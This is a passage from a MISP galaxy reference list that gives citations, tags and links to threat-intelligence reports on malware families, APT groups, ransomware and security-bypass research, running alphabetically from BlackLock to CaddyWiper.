The Hacker News BlackLock March 29 2025

Ravie Lakshmanan. (2025, March 29). BlackLock Ransomware Exposed After Researchers Exploit Leak Site Vulnerability. Retrieved June 13, 2025.

The tag is: *misp-galaxy:references="The Hacker News BlackLock March 29 2025"*

Table 19684. Table References

Links
https://thehackernews.com/2025/03/blacklock-ransomware-exposed-after.html

ESET BlackLotus March 01 2023

Martin Smolár. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved September 29, 2023.

The tag is: *misp-galaxy:references="ESET BlackLotus March 01 2023"*

Table 19685. Table References

Links
https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/

welivesecurity

Martin Smolár. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.

The tag is: *misp-galaxy:references="welivesecurity"*

Table 19686. Table References

Links
https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/

Securelist BlackOasis Oct 2017

Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="Securelist BlackOasis Oct 2017"*

Table 19687. Table References

Links
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/

ReliaQuest May 28 2024

ReliaQuest Threat Research Team. (2024, May 28). BlackSuit Attack Analysis - ReliaQuest. Retrieved June 5, 2024.

The tag is: *misp-galaxy:references="ReliaQuest May 28 2024"*

Table 19688. Table References

Links
https://www.reliaquest.com/blog/blacksuit-attack-analysis/

HC3 Analyst Note BlackSuit Ransomware November 2023

Health Sector Cybersecurity Coordination Center (HC3). (2023, November 6). BlackSuit Ransomware. Retrieved June 7, 2024.

The tag is: *misp-galaxy:references="HC3 Analyst Note BlackSuit Ransomware November 2023"*

Table 19689. Table References

Links
https://www.hhs.gov/sites/default/files/blacksuit-ransomware-analyst-note-tlpclear.pdf

Cyble May 12 2023

Cybleinc. (2023, May 12). BlackSuit Ransomware Strikes Windows and Linux Users. Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="Cyble May 12 2023"*

Table 19690. Table References

Links
https://cyble.com/blog/blacksuit-ransomware-strikes-windows-and-linux-users/

Palo Alto Black-T October 2020

Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="Palo Alto Black-T October 2020"*

Table 19691. Table References

Links
https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/

BlackWater Malware Cloudflare Workers

Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.

The tag is: *misp-galaxy:references="BlackWater Malware Cloudflare Workers"*

Table 19692. Table References

Links
https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/

Check Point Research Blind Eagle March 10 2025

Check Point Research. (2025, March 10). Blind Eagle: …And Justice for All. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="Check Point Research Blind Eagle March 10 2025"*

Table 19693. Table References

Links
https://research.checkpoint.com/2025/blind-eagle-and-justice-for-all/

Zscaler September 5 2024

Gaetano Pellegrino. (2024, September 5). BlindEagle Targets Colombian Insurance Sector with BlotchyQuasar. Retrieved September 6, 2024.

The tag is: *misp-galaxy:references="Zscaler September 5 2024"*

Table 19694. Table References

Links
https://www.zscaler.com/blogs/security-research/blindeagle-targets-colombian-insurance-sector-blotchyquasar

NHS UK BLINDINGCAN Aug 2020

NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020.

The tag is: *misp-galaxy:references="NHS UK BLINDINGCAN Aug 2020"*

Table 19695. Table References

Links
https://digital.nhs.uk/cyber-alerts/2020/cc-3603

Azure Blob Snapshots

Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022.

The tag is: *misp-galaxy:references="Azure Blob Snapshots"*

Table 19696. Table References

Links
https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview

objsee block blocking login items

Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.

The tag is: *misp-galaxy:references="objsee block blocking login items"*

Table 19697. Table References

Links
https://objective-see.com/blog/blog_0x31.html

Technospot Chrome Extensions GP

Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.

The tag is: *misp-galaxy:references="Technospot Chrome Extensions GP"*

Table 19698. Table References

Links
http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/

Evi1cg Forfiles Nov 2017

Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Evi1cg Forfiles Nov 2017"*

Table 19699. Table References

Links

https://x.com/Evi1cg/status/935027922397573120

Fifield Blocking Resistent Communication through domain fronting 2015

David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.

The tag is: *misp-galaxy:references="Fifield Blocking Resistent Communication through domain fronting 2015"*

Table 19700. Table References

Links
http://www.icir.org/vern/papers/meek-PETS-2015.pdf

GitHub Bloodhound

Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.

The tag is: *misp-galaxy:references="GitHub Bloodhound"*

Table 19701. Table References

Links
https://github.com/BloodHoundAD/BloodHound

Recorded Future BlueAlpha December 5 2024

Insikt Group. (2024, December 5). BlueAlpha Abuses Cloudflare Tunneling Service for GammaDrop Staging Infrastructure. Retrieved December 10, 2024.

The tag is: *misp-galaxy:references="Recorded Future BlueAlpha December 5 2024"*

Table 19702. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-ru-2024-1205.pdf

PwC Blue Callisto December 6 2022

PwC Threat Intelligence. (2022, December 6). Blue Callisto orbits around US Laboratories in 2022. Retrieved October 1, 2024.

The tag is: *misp-galaxy:references="PwC Blue Callisto December 6 2022"*

Table 19703. Table References

Links
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/blue-callisto-orbits-around-us.html

Blue Cloud of Death

Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.

The tag is: *misp-galaxy:references="Blue Cloud of Death"*

Table 19704. Table References

Links
https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1

Blue Cloud of Death Video

Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.

The tag is: *misp-galaxy:references="Blue Cloud of Death Video"*

Table 19705. Table References

Links
https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815

1 - appv

SEONGSU PARK. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved February 6, 2024.

The tag is: *misp-galaxy:references="1 - appv"*

Table 19706. Table References

Links
https://securelist.com/bluenoroff-methods-bypass-motw/108383/

apple doco bonjour description

Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021.

The tag is: *misp-galaxy:references="apple doco bonjour description"*

Table 19707. Table References

Links
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html

Booby Trap Shortcut 2017

Weyne, F. (2017, April). Booby trap a shortcut with a backdoor. Retrieved October 3, 2023.

The tag is: *misp-galaxy:references="Booby Trap Shortcut 2017"*

Table 19708. Table References

Links
https://www.uperesia.com/booby-trapped-shortcut

Microsoft Bootcfg

Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.

The tag is: *misp-galaxy:references="Microsoft Bootcfg"*

Table 19709. Table References

Links
https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg

Imperva DDoS for Hire

Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.

The tag is: *misp-galaxy:references="Imperva DDoS for Hire"*

Table 19710. Table References

Links
https://www.imperva.com/learn/ddos/booters-stressers-ddosers/

Wikipedia Booting

Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.

The tag is: *misp-galaxy:references="Wikipedia Booting"*

Table 19711. Table References

Links
https://en.wikipedia.org/wiki/Booting

FireEye BOOTRASH SANS

Glyer, C.. (2017, June 22). Boot What?. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye BOOTRASH SANS"*

Table 19712. Table References

Links
https://web.archive.org/web/20190926040727/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1498163766.pdf

Unit42 LockerGoga 2019

Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="Unit42 LockerGoga 2019"*

Table 19713. Table References

Links
https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/

Threatexpress MetaTwin 2017

Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.

The tag is: *misp-galaxy:references="Threatexpress MetaTwin 2017"*

Table 19714. Table References

Links
https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/

Sandfly BPFDoor 2022

The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.

The tag is: *misp-galaxy:references="Sandfly BPFDoor 2022"*

Table 19715. Table References

Links
https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/

Deep Instinct BPFDoor 2023

Shaul Vilkomir-Preisman and Eliran Nissan. (2023, May 10). BPFDoor Malware Evolves – Stealthy Sniffing Backdoor Ups Its Game. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="Deep Instinct BPFDoor 2023"*

Table 19716. Table References

Links
https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game

AADInternals - BPRT

Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.

The tag is: *misp-galaxy:references="AADInternals - BPRT"*

Table 19717. Table References

Links
https://o365blog.com/post/bprt/

Brazking-Websockets

Shahar Tavor. (n.d.). BrazKing Android Malware Upgraded and Targeting Brazilian Banks. Retrieved March 24, 2023.

The tag is: *misp-galaxy:references="Brazking-Websockets"*

Table 19718. Table References

Links
https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/

Morphisec 3 26 2024

Arnold Osipov. (2024, March 26). Breaking Boundaries Mispadu’s Infiltration Beyond LATAM. Retrieved April 4, 2024.

The tag is: *misp-galaxy:references="Morphisec 3 26 2024"*

Table 19719. Table References

Links

https://blog.morphisec.com/mispadu-infiltration-beyond-latam

Trend Micro Earth Estries November 8 2024

Ted Lee, Leon M Chang, Lenart Bermejo. (2024, November 8). Breaking Down Earth Estries' Persistent TTPs in Prolonged Cyber Operations. Retrieved November 13, 2024.

The tag is: *misp-galaxy:references="Trend Micro Earth Estries November 8 2024"*

Table 19720. Table References

Links
https://www.trendmicro.com/en_us/research/24/k/breaking-down-earth-estries-persistent-ttps-in-prolonged-cyber-o.html

MSTIC Nobelium Toolset May 2021

MSTIC. (2021, May 28). Breaking down NOBELIUM's latest early-stage toolset. Retrieved August 4, 2021.

The tag is: *misp-galaxy:references="MSTIC Nobelium Toolset May 2021"*

Table 19721. Table References

Links
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/

Lee 2013

Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.

The tag is: *misp-galaxy:references="Lee 2013"*

Table 19722. Table References

Links
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html

sentinelone-malvertising

Hegel, Tom. (2023, January 19). Breaking Down the SEO Poisoning Attack | How Attackers Are Hijacking Search Results. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="sentinelone-malvertising"*

Table 19723. Table References

Links
https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/

OS X Keychain

Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="OS X Keychain"*

Table 19724. Table References

Links
https://web.archive.org/web/20130106164109/https://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain

Brown Exploiting Linkers

Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Brown Exploiting Linkers"*

Table 19725. Table References

Links
http://www.nth-dimension.org.uk/pub/BTL.pdf

FireEye Outlook Dec 2019

McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.

The tag is: *misp-galaxy:references="FireEye Outlook Dec 2019"*

Table 19726. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html

Cisco Talos Blog December 08 2022

Cisco Talos Blog. (2022, December 8). Breaking the silence - Recent Truebot activity. Retrieved May 8, 2023.

The tag is: *misp-galaxy:references="Cisco Talos Blog December 08 2022"*

Table 19727. Table References

Links
https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/

PaloAlto Preventing Opportunistic Attacks Apr 2016

Kiwi. (2016, April 6). Breakout Recap: Cybersecurity Best Practices Part 1 - Preventing Opportunistic Attacks. Retrieved October 3, 2018.

The tag is: *misp-galaxy:references="PaloAlto Preventing Opportunistic Attacks Apr 2016"*

Table 19728. Table References

Links
https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913

Mandiant-iab-control

Michael Raggi, Adam Aprahamian, Dan Kelly, Mathew Potaczek, Marcin Siedlarz, Austin Larsen. (2024, March 21). Bringing Access Back — Initial Access Brokers Exploit F5 BIG-IP (CVE-2023-46747) and ScreenConnect. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="Mandiant-iab-control"*

Table 19729. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect

Mandiant BYOL

Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="Mandiant BYOL"*

Table 19730. Table References

Links
https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique

Mandiant BYOL 2018

Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 8, 2021.

The tag is: *misp-galaxy:references="Mandiant BYOL 2018"*

Table 19731. Table References

Links
https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique

Comparitech Leak

Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Comparitech Leak"*

Table 19732. Table References

Links
https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/

ThreatPost Broadvoice Leak

Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="ThreatPost Broadvoice Leak"*

Table 19733. Table References

Links
https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/

Secureworks BRONZE BUTLER Oct 2017

Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.

The tag is: *misp-galaxy:references="Secureworks BRONZE BUTLER Oct 2017"*

Table 19734. Table References

Links
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

Secureworks BRONZE FLEETWOOD Profile

Secureworks CTU. (n.d.). BRONZE FLEETWOOD. Retrieved February 5, 2024.

The tag is: *misp-galaxy:references="Secureworks BRONZE FLEETWOOD Profile"*

Table 19735. Table References

Links
https://www.secureworks.com/research/threat-profiles/bronze-fleetwood

Secureworks BRONZE HUNTLEY

Secureworks. (2021, January 1). BRONZE HUNTLEY Threat Profile. Retrieved May 5, 2021.

The tag is: *misp-galaxy:references="Secureworks BRONZE HUNTLEY"*

Table 19736. Table References

Links
https://www.secureworks.com/research/threat-profiles/bronze-huntley

Secureworks BRONZE PRESIDENT December 2019

Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.

The tag is: *misp-galaxy:references="Secureworks BRONZE PRESIDENT December 2019"*

Table 19737. Table References

Links
https://www.secureworks.com/research/bronze-president-targets-ngos

Dell SecureWorks BRONZE STARLIGHT Profile

SecureWorks. (n.d.). BRONZE STARLIGHT. Retrieved December 6, 2023.

The tag is: *misp-galaxy:references="Dell SecureWorks BRONZE STARLIGHT Profile"*

Table 19738. Table References

Links
https://www.secureworks.com/research/threat-profiles/bronze-starlight

SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022

Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.

The tag is: *misp-galaxy:references="SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022"*

Table 19739. Table References

Links
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader

SecureWorks BRONZE UNION June 2017

Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.

The tag is: *misp-galaxy:references="SecureWorks BRONZE UNION June 2017"*

Table 19740. Table References

Links
https://www.secureworks.com/research/bronze-union

Wikipedia Browser Extension

Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.

The tag is: *misp-galaxy:references="Wikipedia Browser Extension"*

Table 19741. Table References

Links
https://en.wikipedia.org/wiki/Browser_extension

Mr. D0x BitB 2022

mr.d0x. (2022, March 15). Browser In The Browser (BITB) Attack. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Mr. D0x BitB 2022"*

Table 19742. Table References

Links
https://mrd0x.com/browser-in-the-browser-phishing-attack/

Cobalt Strike Browser Pivot

Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.

The tag is: *misp-galaxy:references="Cobalt Strike Browser Pivot"*

Table 19743. Table References

Links

https://www.cobaltstrike.com/help-browser-pivoting

push notifications - malwarebytes

Pieter Arntz. (2019, January 22). Browser push notifications: a feature asking to be abused. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="push notifications - malwarebytes"*

Table 19744. Table References

Links
https://www.malwarebytes.com/blog/news/2019/01/browser-push-notifications-feature-asking-abused

Symantec Buckeye

Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.

The tag is: *misp-galaxy:references="Symantec Buckeye"*

Table 19745. Table References

Links
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

ESET Buhtrap and Buran April 2019

ESET Research. (2019, April 30). Buhtrap backdoor and Buran ransomware distributed via major advertising platform. Retrieved May 11, 2020.

The tag is: *misp-galaxy:references="ESET Buhtrap and Buran April 2019"*

Table 19746. Table References

Links
https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/

S1 Custom Shellcode Tool

Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="S1 Custom Shellcode Tool"*

Table 19747. Table References

Links
https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/

Data Driven Security DGA

Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.

The tag is: *misp-galaxy:references="Data Driven Security DGA"*

Table 19748. Table References

Links
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/

CTD PPID Spoofing Macro Mar 2019

Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.

The tag is: *misp-galaxy:references="CTD PPID Spoofing Macro Mar 2019"*

Table 19749. Table References

Links
https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/

Trend Micro September 02 2022

Trend Micro. (2022, September 2). BumbleBee a New Modular Backdoor Evolved From BookWorm. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Trend Micro September 02 2022"*

Table 19750. Table References

Links
https://www.trendmicro.com/en_us/research/22/i/buzzing-in-the-background-bumblebee-a-new-modular-backdoor-evolv.html

Proofpoint 2 12 2024

Axel F; Selena Larson; The Proofpoint Threat Research Team. (2024, February 12). Bumblebee Buzzes Back in Black . Retrieved February 14, 2024.

The tag is: *misp-galaxy:references="Proofpoint 2 12 2024"*

Table 19751. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/bumblebee-buzzes-back-black

Toxin Labs 3 4 2023

Toxin Labs. (2023, March 4). BumbleBee DocuSign Campaign. Retrieved February 19, 2024.

The tag is: *misp-galaxy:references="Toxin Labs 3 4 2023"*

Table 19752. Table References

Links
https://0xtoxin.github.io/malware%20analysis/Bumblebee-DocuSign-Campaign/

SEC Consult Bumblebee April 11 2023

Angelo Violetti. (2023, April 11). BumbleBee hunting with a Velociraptor. Retrieved May 6, 2023.

The tag is: *misp-galaxy:references="SEC Consult Bumblebee April 11 2023"*

Table 19753. Table References

Links
https://sec-consult.com/blog/detail/bumblebee-hunting-with-a-velociraptor/

Cybereason Bumblebee August 2022

Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022.

The tag is: *misp-galaxy:references="Cybereason Bumblebee August 2022"*

Table 19754. Table References

Links
https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control

Secureworks Bumblebee April 20 2023

Counter Threat Unit Research Team. (2023, April 20). Bumblebee Malware Distributed Via Trojanized Installer Downloads. Retrieved May 6, 2023.

The tag is: *misp-galaxy:references="Secureworks Bumblebee April 20 2023"*

Table 19755. Table References

Links

https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads

Symantec Bumblebee June 2022

Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cybercrime Ecosystem. Retrieved August 24, 2022.

The tag is: *misp-galaxy:references="Symantec Bumblebee June 2022"*

Table 19756. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime

Cyble September 07 2022

Cybleinc. (2022, September 7). Bumblebee Returns with New Infection Technique. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Cyble September 07 2022"*

Table 19757. Table References

Links
https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/

The DFIR Report Bumblebee September 26 2022

The DFIR Report. (2022, September 26). BumbleBee: Round Two. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="The DFIR Report Bumblebee September 26 2022"*

Table 19758. Table References

Links
https://thedfirreport.com/2022/09/26/bumblebee-round-two/

The DFIR Report Bumblebee November 14 2022

The DFIR Report. (2022, November 14). BumbleBee Zeros in on Meterpreter. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="The DFIR Report Bumblebee November 14 2022"*

Table 19759. Table References

Links

https://thedfirreport.com/2022/11/14/bumblebee-zeros-in-on-meterpreter/

objsee netwire backdoor 2019

Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.

The tag is: *misp-galaxy:references="objsee netwire backdoor 2019"*

Table 19760. Table References

Links
https://objective-see.com/blog/blog_0x44.html

401 TRG Winnti Umbrella May 2018

Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018.

The tag is: *misp-galaxy:references="401 TRG Winnti Umbrella May 2018"*

Table 19761. Table References

Links
https://401trg.github.io/pages/burning-umbrella.html

Fortinet Ivanti Vulnerabilities January 22 2025

Fortinet. (2024, October 11). Burning Zero Days: Suspected Nation-State Adversary Targets Ivanti CSA. Retrieved January 27, 2025.

The tag is: *misp-galaxy:references="Fortinet Ivanti Vulnerabilities January 22 2025"*

Table 19762. Table References

Links
https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa

Busybox.net September 27 2024

Busybox.net. (2024, September 27). BusyBox. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Busybox.net September 27 2024"*

Table 19763. Table References

Links
https://busybox.net/

Bypassing Gatekeeper

Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.

The tag is: *misp-galaxy:references="Bypassing Gatekeeper"*

Table 19764. Table References

Links
https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/

engima0x3 DNX Bypass

Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.

The tag is: *misp-galaxy:references="engima0x3 DNX Bypass"*

Table 19765. Table References

Links
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/

engima0x3 RCSI Bypass

Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.

The tag is: *misp-galaxy:references="engima0x3 RCSI Bypass"*

Table 19766. Table References

Links
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

Exploit Monday WinDbg

Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Exploit Monday WinDbg"*

Table 19767. Table References

Links
https://web.archive.org/web/20160816135945/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html

SubTee MSBuild

Smith, C. (2016, September 13). Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations. Retrieved September 13, 2016.

The tag is: *misp-galaxy:references="SubTee MSBuild"*

Bypassing CloudTrail in AWS Service Catalog

Nick Frichette. (2023, March 20). Bypassing CloudTrail in AWS Service Catalog, and Other Logging Research. Retrieved September 18, 2023.

The tag is: *misp-galaxy:references="Bypassing CloudTrail in AWS Service Catalog"*

Table 19768. Table References

Links
https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/

AADInternals - Conditional Access Bypass

Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022.

The tag is: *misp-galaxy:references="AADInternals - Conditional Access Bypass"*

Table 19769. Table References

Links
https://o365blog.com/post/mdm

MsitPros CHM Aug 2017

Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018.

The tag is: *misp-galaxy:references="MsitPros CHM Aug 2017"*

Table 19770. Table References

Links
https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/

TCC macOS bypass

Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024.

The tag is: *misp-galaxy:references="TCC macOS bypass"*

Table 19771. Table References

Links
https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/

enigma0x3 sdclt app paths

Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.

The tag is: *misp-galaxy:references="enigma0x3 sdclt app paths"*

Table 19772. Table References

Links
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

MDSec System Calls

MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="MDSec System Calls"*

Table 19773. Table References

Links
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/

Hybrid Analysis Icacls1 June 2018

Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.

The tag is: *misp-galaxy:references="Hybrid Analysis Icacls1 June 2018"*

Table 19774. Table References

Links
https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100

Microsoft Credential Manager store

Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.

The tag is: *misp-galaxy:references="Microsoft Credential Manager store"*

Table 19775. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store

Microsoft - Cached Creds

Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="Microsoft - Cached Creds"*

Table 19776. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)

Kaspersky CactusPete Aug 2020

Zykov, K. (2020, August 13). CactusPete APT group's updated Bisonal backdoor. Retrieved May 5, 2021.

The tag is: *misp-galaxy:references="Kaspersky CactusPete Aug 2020"*

Table 19777. Table References

Links
https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/

Kroll CACTUS Ransomware May 10 2023

Laurie Iacono, Stephen Green, Dave Truman. (2023, May 10). CACTUS Ransomware: Prickly New Variant Evades Detection. Retrieved August 10, 2023.

The tag is: *misp-galaxy:references="Kroll CACTUS Ransomware May 10 2023"*

Table 19778. Table References

Links

https://www.kroll.com/en/insights/publications/cyber/cactus-ransomware-prickly-new-variant-evades-detection

ESET CaddyWiper March 2022

